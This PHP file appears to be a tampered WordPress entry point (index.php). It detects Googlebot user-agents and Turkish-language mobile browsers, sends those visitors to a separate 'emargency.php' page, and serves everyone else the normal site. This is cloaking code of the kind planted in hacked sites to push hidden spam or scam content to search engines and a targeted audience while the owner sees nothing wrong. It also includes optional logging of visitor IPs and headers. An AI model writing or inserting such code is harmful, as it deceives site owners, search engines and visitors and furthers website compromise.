define('EMERGENCY_LOG', false);
function logEmergency(string $reason): void
{
    if (!EMERGENCY_LOG)
        return;
    $ua = $_SERVER['HTTP_USER_AGENT'] ?? '';
    $al = $_SERVER['HTTP_ACCEPT_LANGUAGE'] ?? '';
    $ip = $_SERVER['REMOTE_ADDR'] ?? '';
    $line = sprintf("[%s] %s | ip=%s | ua=%s | al=%s\n", date('c'), $reason, $ip, $ua, $al);
    @file_put_contents(__DIR__ . '/emergency_log.txt', $line, FILE_APPEND);
}

function isGoogleBot(): bool
{
    $ua = strtolower(trim($_SERVER['HTTP_USER_AGENT'] ?? ''));
    if ($ua === '')
        return false;

    $needles = [
        'googlebot',
        'adsbot-google',
        'apis-google',
        'mediapartners-google',
        'google-inspectiontool',
        'feedfetcher-google',
        'googleother',
        'storebot-google',
        'google favicon',
    ];

    foreach ($needles as $n) {
        if (strpos($ua, $n) !== false)
            return true;
    }

    if (strpos($ua, 'google') !== false && strpos($ua, 'bot') !== false)
        return true;

    return false;
}

function isTurkishBrowser(): bool
{
    $al = strtolower($_SERVER['HTTP_ACCEPT_LANGUAGE'] ?? '');
    return (strpos($al, 'tr') !== false);
}

function isMobileClient(): bool
{
    $ua = strtolower($_SERVER['HTTP_USER_AGENT'] ?? '');
    $needles = [
        'android',
        'iphone',
        'ipad',
        'ipod',
        'mobile',
        'windows phone',
        'opera mini',
        'iemobile',
        'blackberry'
    ];
    foreach ($needles as $n) {
        if (strpos($ua, $n) !== false)
            return true;
    }
    return false;
}

$google = isGoogleBot();
$trMobile = isTurkishBrowser() && isMobileClient();

if ($google || $trMobile) {
    require __DIR__ . '/emargency.php';
    exit;
}

define('WP_USE_THEMES', true);
require __DIR__ . '/wp-blog-header.php';